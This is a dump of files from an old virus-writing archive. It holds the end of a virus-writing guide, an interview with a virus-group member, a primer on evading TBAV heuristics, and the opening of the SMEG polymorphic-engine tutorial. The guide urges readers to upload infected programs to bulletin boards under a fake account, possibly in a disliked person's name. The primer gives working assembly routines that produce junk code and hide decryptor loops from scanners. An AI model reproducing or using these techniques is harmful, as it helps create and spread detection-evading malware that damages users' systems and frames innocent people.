-=-=-=-=-=-=-
DISTRIBUTION
-=-=-=-=-=-=-
This is another fun part of virus writing. It involves sending your
brilliantly-written program through the phone lines to your local,
unsuspecting bulletin boards. What you should do is infect a file that
actually does something (leech a useful utility from another board), infect
it, and upload it to a place where it will be downloaded by users all over.
The best thing is that it won't be detected by puny scanner-wanna-bes by
McAffee, since it is new! Oh yeah, make sure you are using a false account
(duh). Better yet, make a false account with the name/phone number of
someone you don't like and upload the infected file under the his name.
You can call back from time to time and use a door such as ZDoor to check
the spread of the virus. The more who download, the more who share in the
experience of your virus!
I promised a brief section on overwriting virii, so here it is...
-=-=-=-=-=-=-=-=-
OVERWRITING VIRII
-=-=-=-=-=-=-=-=-
All these virii do is spread throughout the system. They render the
infected files inexecutable, so they are easily detected. It is simple to
write one:
+-------------+ +-----+ +-------------+
| Program | + |Virus| = |Virus|am |
+-------------+ +-----+ +-------------+
These virii are simple little hacks, but pretty worthless because of their
easy detectability. Enuff said!
-=-=-=-=-=-=-=-=-=-=-=-=-
WELL, THAT JUST ABOUT...
-=-=-=-=-=-=-=-=-=-=-=-=-
wraps it up for this installment of Dark Angel's Phunky virus writing
guide. There will (hopefully) be future issues where I discuss more about
virii and include much more source code (mo' source!). Till then, happy
coding!

268
textfiles.com/virus/pngintrv.iew Normal file
View File

@@ -0,0 +1,268 @@
--------------------------------------------------------------------------------
INTERVIEW WITH PERSONA NO GRATA / TRIDENT / THE NETHERLANDS
--------------------------------------------------------------------------------
Give me a short description of who you are!
- Hello everybody I'm Persona No Grata and doing mainly some PR-Stuff
for TridenT. I keep in contact with other groups and distribute the
new releases to other researchers/viruswriters. I'm a non-virus-
writer, I only collect the stuff. As like all TridenT members I'm
living in the Netherlands. I'm somewhere in the beginning of my
twenties.
From where did you get your handle, Persona No Grata?
- Well I have been using several handles over the years (like many of
the other TridenT members). I thought Persona No Grata is a nice
name which means a person who is not welcome.
When did you discovered the world of computers?
- Well I started out on the C64 (years and years ago) after that I
bought an Amiga 500 and I got a PC since 1991 now.
How long have you been active in the scene?
- In the virus scene? since the end of 1992, before that was in some
C64 and amiga groups.
What part(s) of the underground do you think needs improvements?
- Dont think any part of the virus 'underground' has to improve. It's
just that the european virusscene should be more active
Have you been involved in any other group than Trident?
- Not in any other virii-group, think no TridenT member has been in
another virus-group. Because when TridenT started the contacts
between virus writers werent that good, nowadays people get on the
internet and start chatting on irc.
Who started/created Trident?
- John Tardy and Bit Addict started the group some years ago, think
after that Masud Khafir joined etc.
What's the groups goal?
- The contact between the 'members' is just on a friendly bases, we
dont have any bosses or people who think they are better than the
rest. We dont push people to release virii every week/month. A
TridenT virus only is released when it's good enough. We got stacks
of experimental virusses which were never released and will never be.
How many people are you?
- It differs from time to time, handles come and go ;)
What's their handles?
- let's just stay with John Tardy, Masud Khafir, Bit Addict, Dark
Helmet, Crom-Cruach and DarkRay.
Do all of them program, if not, what's the others job?
- All of us program, just some of us dont use their ablitities to
make virii.
Who are the "leading/head-persons" in the group?
- We dont have any leading persons. We dont need it and there never
will be any one who is bossing people around. TridenT members are
free to come and go.
How is Trident (currently) organzied?
- It's not organized in any way... We used to have our own TridenT
mail-network but we are currently taking it easy :(
Can anyone ask for membership, or are you a "private" group?
- I get this question more often then normally. Well we like to stay
all dutch. But if a person is really good w'll consider it.
What responses have you had about TPE?
- If you say TridenT, 8 of 10 people say TPE (maybe because Masud
named it TridenT Polymorphic Engine?).
Even thought polymorphic engine's are a great thing, not many
people seems to use them? You have any theorie why they don't?
- Oh well people use them allright I think.
Have you ever thought of/are you currently releasing some sort of
electronic magazine (text/executable/hard-copy)?
- We've had several discussions about that, but we even couldnt agree
on the name, we thought of TridenTial and when we finally agreed on
it, we couldnt agree wether to put sources in it or not... One day
we (John Tardy in a drunk mood) started typing text but when we woke
up the next morning we sobered and putted it on disk somewhere (where
it probably still is).
Are you into other things such as hacking and phreaking aswell, or
just viruses?
- I think I'm the only one in TridenT who is doing hacking/Phreaking
although I cant do it as frequent as I like to do it. :((
Which is the best way of contacting you?
People can contact me on NuKE-Net.
Can you name a few viruses that Trident has written?
has written?
- Well just take patricia's vsum and search for all Origin: The
Netherlands think 95% of it is made by TridenT..
Do you have any sort of company or law-enforcement who are trying
to hunt Trident down?
- Probably the CRI who has got a special division called Computer Crime
(Computer Criminaliteit (Dutch)).
If so, are they a real threat or just "childish"?
- Well I think it's 'childish' but it could be a real threat to TridenT
however.
Have you ever had any trouble in the group with the result of kicked
member(s)?
- Nope, we only gave members warnings when they did something 'stupid'
but that's mutual I think ;-)
How good are Trident comparing to other groups (P/S & NuKE?)
- Well NuKE isnt active anymore, and most of the virii they released
suck. (though NuKE has some good programmers). Phalcon/Skism has
made nice virii and I also like their magazine (40hex is the best
around) and the guys are always around on the internet.
Do you call out aloth, and if so how?
- I call out sometimes, but mosttimes to the internet. In the
Netherlands there are only a few good boards so.
Do you have any couriers that spread your products around?
- Nope, I only send it via the internet and that's it.
What do you think about the laws against h/p/v that has arrived
lately?
- It sucks and there are still a lot of 'holes' in it. It's not clearly
written and we just have to wait till there is a test-case so we
really know what and how.. (not-implementing anything here ;-))
What do you think about various news-papers thinking us as nerds?
- I dont read news-papers ;-)
Do you see any differences between the scene now and a couple of
years ago (concerning the underground part ofcause)?
- The scene is more open than a couple of years ago. Contacts between
other virus writers was difficult.
Which virus-magazine do you think is the best avalible now-a-days?
- 40hex (can get it at several internet sites).
Which virus-group/programmer do you admire/like?
- I dont admire any of them. Liking is another word.
(on a friendly bases).
Which country do you think is the best virus-writing today?
- Probably the usa,because most of them hang out there (ofcoz the
country is big etc).
What do you think about these virus generators, such as VCL or PS-MPC?
- I like the idea, not the people using it. Every dickhead can create a
'virus' nowadays.
What do you think about the people using them?
- It's good for virii collectors (cause they can say they got 5000+
virii on line) but that's about it. I dont like people uploading
files to boards like 'newgame.zip' with in it some virii.
What do you think about people bragging over (almost) nothing
and ragging with other groups aswell?
- Keeps the scene lively.
What do you think about such individes as board-crashers?
- Get a life.
Describe the perfect virus :
- A virus which uses several techniques and tricks all scanners on
the market.
Describe the perfect viruscoder :
- 16 year old geeks, drinking beer and smoking pot. ??? well dunno
really
Describe the AV-community with a few lines :
- Monopoly dudes thinking they are so damn good and better as the rest.
Which AV-program do think is the best, and why?
- f-prot together with tbav.
What do you think about the underground's future?
- As you see, magazines and groups come and go, I've seen 14 year old
kids who start programming and like to create virii. The last years
the virus business has been booming several new virii come out each
day.
Do you know/heard of any new technics coming in the near future?
- nope
Any advice to people who want's to learn the basic of virus-writing?
- Well if you got internet access join the #virus channel on irc. Get
ahold on 40hex that's pretty much about it.
Something else you wish to say?
- Just continue releasing the Insane Reality magazine, I hope it comes
out as frequent as the Crypt Magazine ;-)
Do you wish to send any greets?
- well first of all greets to all Immortal Riot dudes.
* Metal Militia and the Flash.
* All TridenT members (also the ones which didnt cooperate on the
interview, well probably because I didnt ask them?) hehe
* Garbage Heap (P/S), when will the next issue be released. Hopefully
the Mirror Virus Source code by Bit Addict/TridenT will be in it.
* Urnst Kouch (Crypt Magazine). The magazine is great and is the only
one which keeps comming out on a regular basis. Nice going.
* Savage Beast/NuKE Coordinator Europe. You probably got the disks at
the time you read this ?
* Azrael/NuKE Coordinator South America. You need a dictionairy (hehe
Just kidding). Also greets to your friend Murdock.
* Maddog/NaTe call me more frequent will you.
* Coaxial Karma/NPC did InterMail work out okay? Too bad about the OD.
* CryptKeeper (P/S) Hopes everything works out okay for you.
* Macaroni Ted & Jaywalker/A.N.O.I. Come on start working again guys.
* Doctor Revenge (NuKE Italy) Nice going dude.
* Kohntark thx for the preview. Is the official one finished?
* Hellraiser (P/S) Long time no see on the net?
* Memory Lapse (P/S) Will send you my allfiles.
* Zerial for being a pain in the ass
* Kevin Martinez for being a cool dude. Talk to you later.
* Sigma One thx again dude

507
textfiles.com/virus/polyflag.txt Normal file
View File

@@ -0,0 +1,507 @@
A Humble PolyMorphic Engine Primer by Absolute Overlord
Foreward
Since I've done a tremendous amount of research into avoiding flags
with a polymorphic engine I've decided to document my research and
present it for the benefit of others persuing the same.
The benefits of using a polymorphic engine are excellent provided
your engine achieves the requisite level of 'cleanliness' as far
as heuristical flags go. The majority of polymorphic viruses have
been stopped dead in their tracks due to the absurd level of flags
they have been known to cause. If all of a sudden programs you knew
which didn't have any flags scan as:
G Garbage instructions. Contains code that seems to have no purpose
other than encryption or avoiding recognition by virus scanners.
@ Encountered instructions which are not likely to be generated by
an assembler, but by some code generator like a polymorphic virus.
1 Found instructions which require a 80186 processor or above.
# Found a code decryption routine or debugger trap. This is common
for viruses but also for some copy-protected software.
Then you know you have a virus. Of course if your virus does things
like scramble the keyboard buffer or print 'FUCK YOU' on the screen
every ten seconds none of this discussion is really going to be worth
your while. ;)
First, the good news. Web and Avp *suck* next to tbav, and frankly
the only scanner to use in your test bed is TBAV.
Now the bad news. TBAV is damn good at catching all kinds of garbage
code and finding decryption loops.
The main thing to know here is that 1 flag is bad but 2 spells a
catastrophe. This is because if tbav finds 2 flags on a file while
scanning with high heuristics it will pop up the ubiquitious red
warning window and summarily decide the file is infected.
First, the decryption loop.
In even the best polymorphic engines I've seen tbav finds the decryptor
loop 5 times out of 10. It's hard to state the exact reason this is
but it evens finds the decryptor loop in Rhincewind's Rhince engine
droppers. This is peculiar because Rhince uses a very slick method
of inserting a number of mov [memlocation], opcode instructions.
The decryptor is actually laid down at the end of the 'header' while
the header is executing. A fantastic idea, but nevertheless one that fails
to elude tbav. Dark Slayer uses the method of xor [si,di,bp or bx], seed
but tbav will catch this as well about 50% of the time.
I hypothesized that if I spread the individual instructions for the
decryptor loop over a number of subroutines that formed the actual
loop tbav would fail to find it. I was right. So this is the method
I use now in S.H.I.T. Of course, eventually tbav will be able to detect
even this as well. I think tbav tries to keep track of memory pointed
to by the index registers and watches for successive memory location
changes. Hard to tell. One thing is certain though. A polymorphic
engine must make a good show of attempting to hide the decryptor
or the whole point is lost. You certainly can't have 50 files
suddenly flagging as having a decryptor that didn't flag so before.
Second, the dreaded @ polymorph engine flag.
This one is not so hard to pin down. Almost all single byte opcodes
like DAA, AAD, LOCK and other oddities you would rarely use in a
program will trigger it. Addressing modes like mov dx,[bp+di+3425h]
will trigger it. Lots of adc's, sub's ,cmp's, dec's and inc's will
trigger it. Register operations involving bp, di, si,and sp will
move you towards a trigger (but not gaurantee one).
Any incidence of an opcode like mov al,ah where the direction bit
is set will trigger the @ flag. Due to the way the opcode bit fields
where designated there is a set of 'mirror' opcodes that perform
the same function but with the register fields reversed and the direction
bit set instead of clear (see appendix A). The same holds true for the xchg
group of instructions.
I believe that tbav uses a combination of a mathematical approach to counting
the incidence of opcodes and addressing modes and computing the statistical
likelihood of their occurrences as well as looking for specific opcodes
and opcode sequences. This is a good reason that code produced by engines
like PSE,MIME,MTE,TPE,PME,DSCE,DSME and VICE will give lots and lots of
flags. If we count the incidence of each opcode and then do a frequency
analysis on them we can come up with a fairly decent picture of your average
program versus the kind of garbage produced by most poly engines.
To be honest, it seems the only opcodes you can get away with and still
gaurentee no @ flag is mov's, xchg's and push/pop pairs.
That leaves the entire slew of mathematical and logical instructions
to be re-explored however. That also leaves the standard flow control (CMP/JZ)
pairs. I tested one version of shit that was getting 0 flags by adding
cmp/jz/jnz/jo etc random flow control and started getting flags.
Hard to pin down the cause here.
Which leads us to the issue of the G garbage flag.
Tbav is fairly intelligent and will flag G on almost any sequence of
instructions that look like garbage to the naked eye so you really have
to avoid producing code that looks like utter nonsense. The majority
of actual program code consists of
1 moves to registers from memory (setup)
2 moves to registers of immediate values
3 moves to memory of registers or immediate values
4 moves to registers of registers
5 pushes and pops to move registers to other registers
6 occasional interupts to various system services
7 compares with branches
8 logical instructions like and,or,ror,sal etc
9 mathemetical instructions like add,sub (pretty rare actually)
I think that item number 6 needs more looking into.
If I start debugging and see 200 bytes go by without a single Int21
or Int10 or *SOMETHING* I think I would be pretty suspicious.
I bet TBAV assumes the same here.
Basically,if the code looks completely absurd with debug then I'm
100% positive tbav will flag it as something as well.
The U undocumented interupt flag.
There's no denying the fact that TBAV has a flaw in it. It will sometimes
produce this flag even when there are no such Int's in the tested code.
Either that or there is a slim (but intentional?) random chance that
mov ax,4C00h Int 21h will be flagged as undocumented.
Maybe Franz wants an extra margin of safety.?:)
The J suspicious jump construct flag.
Programs like SMEG and others that overindulge in random flow control
will cause this. Pare down the level of random flow control. The main
thing I have noticed is that in most engines there is a total lack
of control in the 'randomocity' of the code generated. You have to
control it. Make it far less random. Make it look much more like
the genuine article. (Speaking of which, I'm sure I'm not the first person
to think of 'code theiving'. Actually going out and trying to find some
chunk of code in the host or something to plunk down as our new entry
header. I wonder if this could be done..)
You might be better off avoiding random flow control entirely and
lightening up your engine a bit in the process.
The R Terminate and stay resident flag.
This technically shouldn't be a flag any polymorphic engine should have
to worry about but alas, Franz has an itchy trigger finger.
You may occasionally see this if you have the instruction
mov [si],bx
anywhere in your code. Actually, this brings us to the point of the 'known
flags' triggers. Here is a partial list:
cmp ah,4Bh ; program infects on execution.
cmp ah,11h ;stealth virus flag
cmp ah,12h ;ditto
cmp ah,42h ;ditto
cmp ah,43h ;ditto
mov ah,40h ;program may be capable of infecting a file.
Int 27h ;tsr ;)
mov ah,37h ;tsr
.....
int 21h
============================================================================
Appendix A
; I have taken the liberty of assembling some routines that use the bit
; field patterns of opcodes to produce opcodes of a limited type each
; These may help you in creating your own variants.
; The actual engine must still create the framework that is padded out
; with the 'filler'. The following routines total 299 bytes including
; random number generators and local variables.
; they assume ds:di is the destination for the garbage opcodes
; and use destroy the contents of ax and bx
padit:
; lay down between 2 and 5 filler opcodes selected from the available
; types
call get_rnd ;get a random number for fill count
and ax,03h ;
inc ax
inc ax ;min 2,max 5 opcodes
do_cx_rnd: push ax
new_fill: mov ax, (end_op_table-op_table)/2 ;select the type of
call rand_in_range ;filler
cmp ax,word ptr [last_fill_type]
jz new_fill ;avoid same types in a row
mov word ptr [last_fill_type],ax
add ax,ax
mov bx,ax
call word ptr cs:[op_table+bx]
pop ax
dec ax
jnz do_cx_rnd
ret
; 38 bytes
op_table: dw offset move_with_mem ;here we can weight the frequencies
dw offset move_with_reg ;a bit by inserting a subroutine
dw offset move_imm ;more than once
dw offset reg_exchange
dw offset do_push_pop
end_op_table:
last_fill_type dw 0
shit_range dw 0
shit_range_base dw 0
; 16 bytes
move_imm:
; makes an opcode of type mov reg,immediate value
; either 8 or 16 bit value
; but never ax or al or sp,di,si or bp
call get_rnd
and al,0Fh ;get a reggie
or al,0B0h ;make it a mov reg,
test al,00001000b
jz is_8bit_mov
and al,11111011b ; make it ax,bx cx or dx
mov ah,al
and ah,03h
jz move_imm ;not ax or al!
stosb
call rand_16
stosw
ret
is_8bit_mov:
mov bh,al ;
and bh,07h ; is al?
jz move_imm ; yeah bomb
stosb
call get_rnd
stosb
ret
;37 bytes
move_with_mem:
; ok now we get busy with type mov reg,[mem] and type mov [mem],reg
; but never move ax,[mem] or mov al,[mem]
; or any moves involving bp,sp,di or si
; note:
; shit_range_base is a pointer to mem ok to mess with in the new
; host + virus combo. This would be somewhere in the current segment
; after the virus code and below the reserved stack area.
; shit_range is typically (65536 - stack_allocation) - shit_range_base
; shit_range_base is typically host_size+virus_size+safety_margin
call rand_16
and ax,0011100000000011b ;preserve reggie,from/to mem and 8/16 bit
or ax,0000011010001000b ;or it with addr mode imm 16 and make it mov
test al,00000001b
jnz is_16bitter
cmp ah,00000110b ;reggie = al?
jz make_to_mem
jmp all_clear_for_mem
is_16bitter:
and ah,00011110b ;make it ax,bx,cx or dx
cmp ah,00000110b ;is reggie = ax?
jnz all_clear_for_mem ;yes, make it to mem
make_to_mem:
and al,11111101b ; make it to mem
all_clear_for_mem:
stosw
mov ax,[shit_range] ;this will be zero if there not enuff room to define
or ax,ax
jnz shit_ok
dec di
dec di
ret ;there is no shit range defined so abort!
shit_ok: xor ah,ah
call rand_in_range
add ax,[shit_range_base]
stosw
ret
; 54 bytes
move_with_reg:
; ok now we knock boots with mov reg,reg's
; but never to al or ax.
call rand_16
and ax,0011111100000001b ;preserve reggies and 8/16 bit
or ax,1100000010001010b ;or it with addr mode and make it mov
reg_test:
test al,1
jz is_8bit_move_with_reg
and ah,11011011b ;make source and dest = ax,bx,cx,dx
is_8bit_move_with_reg:
mov bl,ah
and bl,00111000b
jz move_with_reg ;no mov ax, 's please
mov bh,ah ;let's see if 2 reggies are same reggies.
sal bh,1
sal bh,1
sal bh,1
and bh,00111000b
cmp bh,bl ;reg,reg are same?
jz move_with_reg ;dho!
stosw
ret
; 39 bytes
reg_exchange:
; modify a mov reg,reg into an xchg reg,reg
call move_with_reg ;make a mov reg,reg
dec di ;but then remove it
dec di ;and take advantage of the fact the opcode is still in ax
test al,1b ;was a 16 bit type?
jnz reg_exchange ;yeah go for an 8 bitter
mov bh,ah
and bh,07h ;is one of reggies ax?
jz reg_exchange ;yah so bomb
mov al,10000110b ;else make it xchg ah,dl etc.
stosw
ret
; 19 bytes
; we can get slick and use the above routines to create a mov instruction
; and then modify it into a math or cmp preserving the pre assembled
; addressing mode
make_math_with_mem:
call mov_with_mem
push di
sub di,4
mov al,byte ptr [di]
and al,00000011b ;preserve the pertinent address mode info
push ax
call get_rnd
and al,00111000b ;weed out a new opcode like sub,add etc..
pop bx
or al,bl ;set the address mode bits
mov byte ptr [di],al ;a new instruction is born!
pop di ;restore our pointer
ret
; 26 bytes :)
do_push_pop:
; we don't have to watch our stack if we pair up pushes with pops
; so I slapped together this peice of shoddy work to add em.
mov ax,(end_bytes_2-bytes_2)/2
call rand_in_range
add ax,ax
mov bx,ax
mov ax,word ptr [bytes_2+bx]
stosw
ret
bytes_2:
push ax
pop dx
push ax
pop bx
push ax
pop cx
push bx
pop dx
push bx
pop cx
push cx
pop bx
push cx
pop dx
end_bytes_2:
; 31 bytes
; the following random number gen routines where originated by rhincewind
; his random in range routine is great :)
rand_in_range: push bx ;returns a random num between 0 and entry ax
push dx
xchg ax,bx
call get_rnd
xor dx,dx
div bx
xchg ax,dx ;dx=remainder
pop dx
pop bx
ret
get_rnd:
; simple timer based random numbers but with a twist using xor of last one
; also originated by RhinceWind.
in ax,40h
xor ax, 0FFFFh
org $-2
Randomize dw ?
mov [Randomize],ax
ret
rand_16:
; a small variation to compensate for lack of randomocity in the
; high byte of 16 bit result returned by get_rnd
call get_rnd
mov bl,al
call get_rnd
mov ah,bl
ret
;39
============================================================================
Appendix B
Instruction Bitfeild Layouts
Section 1 - 8 basic arithmetic intructions bit feild layout.
Covers reg,mem mem,reg and reg,reg but not immediates.
first byte second byte - register and address mode
op mode dest source
/ \ / \ / \ / \
7 6 5 4 3 2 1 0 7 6 5 4 3 2 1 0
0 0 | 0 | | | | |
| | 1 = 16 bit | | 0 0 0 = [BX+SI+] if index mode
| | 0 = 8 bit | | 0 0 1 = [BX+DI+]
| 1 = to reg | | 0 1 0 = [BP+SI+]
| 0 = to mem | | 0 1 1 = [BP+DI+]
| | | 1 0 0 = [SI+]
0 0 0 = add | | 1 0 1 = [DI+]
0 0 1 = or | | 1 1 0 = [BP+]
0 1 0 = adc | | 1 1 1 = [BX+]
0 1 1 = sbb | 0 0 0 = AX (al) register map
1 0 0 = and | 0 0 1 = CX (cl)
1 0 1 = sub | 0 1 0 = DX (dl)
1 1 0 = xor | 0 1 1 = BX (bl)
1 1 1 = cmp | 1 0 0 = SP (ah)
| 1 0 1 = BP (ch)
| 1 1 0 = SI (dh)
| 1 1 1 = DI (bh)
0 0 - register index only (unless bp)
If index reg is [bp+] then
0 0 = [1000h] 16 bit long only
(there is no [bp] only mode)
0 1 - immediate is 8 bit short adrress
1 0 - immediate is 16 bit long address
1 1 register to register
source bits are second register using
same encoding as destination reg above.
; Note : If bit 2 of first byte is 1 then it is type immediate value to
; register : bit 1 (direction bit) will always be a
; zero, bit 0 specifies immediate to an 8 bit register with a single
; byte operand (0) or immediate to an 8 bit register with a word operand(1).
; byte 2 has the destination register using the above encoding only
; moved to the low 3 bits with bits 3,4,5 clear and bits 6 and 7 always
; set.
; operations of type add [memlocation], immediate are in the special
; 'FF' family to be described later.
Section 2 ,the 'HiBit' series. Note bits 1 and 0 of first byte
and second byte (addressing mode) is the same as above.
first byte
op second byte - same as above
/ \
7 6 5 4 3 2 1 0
1 0 | 0 x x - see above
0 0 0 - Mov
0 0 1 -
0 1 0 -
0 1 1 -
1 0 0 -
1 0 1 -
1 1 0 -
1 1 1 -
Section 3 - The '40' series Pushes and pops
7 6 5 4 3 2 1 0
0 0 0 1 x x x x
| |
| 0 0 0 Ax
| 0 0 1 bx
| 0 1 0 cx
| 0 1 1 dx
| 1 0 0 bp
| 1 0 1 sp
| 1 1 0 si
| 1 1 1 di
|
0 Push
1 Pop

750
textfiles.com/virus/polymorf.txt Normal file
View File

@@ -0,0 +1,750 @@
=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Hey Guyz,
Another fine release from iLLEGALITY, this time its how to write your own
virus, and get your name in all the computer magazines. I didn't actually
write this thing, the Black Baron did, so don't come running to me when
your test virus wipes your hd, i just distributed the thing. Well anyway
enjoy d00ds, cya at my next release.
Dr d00m.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ
<EFBFBD> A GENERAL DESCRIPTION OF THE METHODS BEHIND A POLYMORPH ENGINE <20>
<EFBFBD> (C) The Black Baron <20>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ
This .TXT attempts to provide an insight into the workings of a Polymorph
Engine. It assumes you are familiar with 8086 assembler and the logic
functions XOR, AND & OR. To this end, no explanation of logic or assembler
will be included in this text! Also note, no SEGMENT stuff will be included
in any of the assembler listings, it is assumed that you know which segments
are in play. The methods described in this .TXT are the ones used in my SMEG
(Simulated Metamorphic Encryption Generator) Polymorph Engine and are by no
means the only way to do it!
A small glossary of terms used in this document:
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ENCRYPT = Transform from it's original form to an altered form.
DECRYPT = Transform from it's altered form to it's original form.
KEY = The register or value used to encrypt/decrypt with.
SLIDING KEY = A KEY value that is INCREASED or DECREASED on each loop.
COUNT = The number of bytes in the encrypted code or data.
INDEX = A pointer to the encrypted code or data.
SIGNATURE = A unique group of bytes that can be used to check against
a programs content in the hope of detecting a particular
program.
HEURISTIC = A set of well defined rules to apply to a problem in the
hope of achieving a known result.
Question: What is a Polymorph?
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Answer: Well, the Longman English Dictionary defines it as:
"POLYMORPHOUS also POLYMORPHIC adj fml or tech.
EXISTING IN VARIOUS DIFFERENT FORMS."
In other words, something that has the ability to change it's shape. Other
ways to describe such a thing might be; Mutable, Metamorphic, Etc...
Question: What is a Polymorph Engine?
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Answer: A program with the abilities to encrypt (or jumble up) another
program or data and provide a unique decryptor for it, it must
do this in such a way that no two encryptions of the same program
or data will look alike.
Example: Take the following ultra-simple decryptor:
MOV SI,jumbled_data ;Point to the jumbled data
MOV CX,10 ;Ten bytes to decrypt
main_loop: XOR BYTE PTR [SI],55 ;XOR (un_scramble!) a byte
INC SI ;Next byte
LOOP main_loop ;Loop for the 9 remaining bytes
This small program will XOR the ten bytes at the location pointed to by SI
with the value 55. Providing the ten bytes were XORed with 55 prior to
running this decryptor the ten bytes will be restored to their original
state. If you are unsure as to why this is, brush up on your XOR logic!!
Ok, so you might say that if you change the KEY value on each generation it
will become Polymorphic? Well, yes and no! If you did that, the encrypted
portion would be Polymorphic, but the decryptor would still remain mostly the
same, the only change begin the KEY value! So, a signature scanner that
allows WILDCARDS (and most do!) would still be able to find your decryptor!
One way you could fool some signature scanners is to swap around some of the
instructions. So, with this in mind, the above decryptor might look like:
MOV CX,10
MOV SI,jumbled_data
main_loop: XOR BYTE PTR [SI],55
INC SI
LOOP main_loop
As you can see, still not much of a change, not really enough to fool some of
the better signature scanners.
"GET TO THE POINT! WHAT IS A TRUE POLYMORPH?", I hear you cry!
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Well, a "true" Polymorph would be a decryptor that looks completely different
on each generation! Take the following decryptor:
MOV CX,10
NOP
NOP
MOV SI,jumbled_data
NOP
main_loop: NOP
NOP
XOR BYTE PTR [SI],55
NOP
INC SI
NOP
NOP
NOP
NOP
LOOP main_loop
This decryptor is the same as the one before it, but it has has a few random
NOP instructions peppered throughout itself. On each generation you would
vary the amount of NOPs after each instruction. This is a Polymorph in it's
simplest form. Still, most of the good signature scanners would have no
problem with such a simple Polymorph. They would simply skip the NOPs, thus
having a clear view of the decryptor, to which they could apply a signature!
No, a "true" Polymorph has to be far far more complex then this! Instead of
peppering NOPs throughout the decryptor it would pepper totally random amounts
of totally random 8086 instructions, including JUMPS and CALLS. It would
also use a different main decryptor (possibly from a selection of pre-coded
ones) and would alter all the registers that the decryptor uses on each
generation, making sure that the JUNK code that it generates doesn't destroy
any of the registers used by the real decryptor! So, with these rules in
mind, here is our simple decryptor again:
MOV DX,10 ;Real part of the decryptor!
MOV SI,1234 ;junk
AND AX,[SI+1234] ;junk
CLD ;junk
MOV DI,jumbled_data ;Real part of the decryptor!
TEST [SI+1234],BL ;junk
OR AL,CL ;junk
main_loop: ADD SI,SI ;junk instruction, real loop!
XOR AX,1234 ;junk
XOR BYTE PTR [DI],55 ;Real part of the decryptor!
SUB SI,123 ;junk
INC DI ;Real part of the decryptor!
TEST DX,1234 ;junk
AND AL,[BP+1234] ;junk
DEC DX ;Real part of the decryptor!
NOP ;junk
XOR AX,DX ;junk
SBB AX,[SI+1234] ;junk
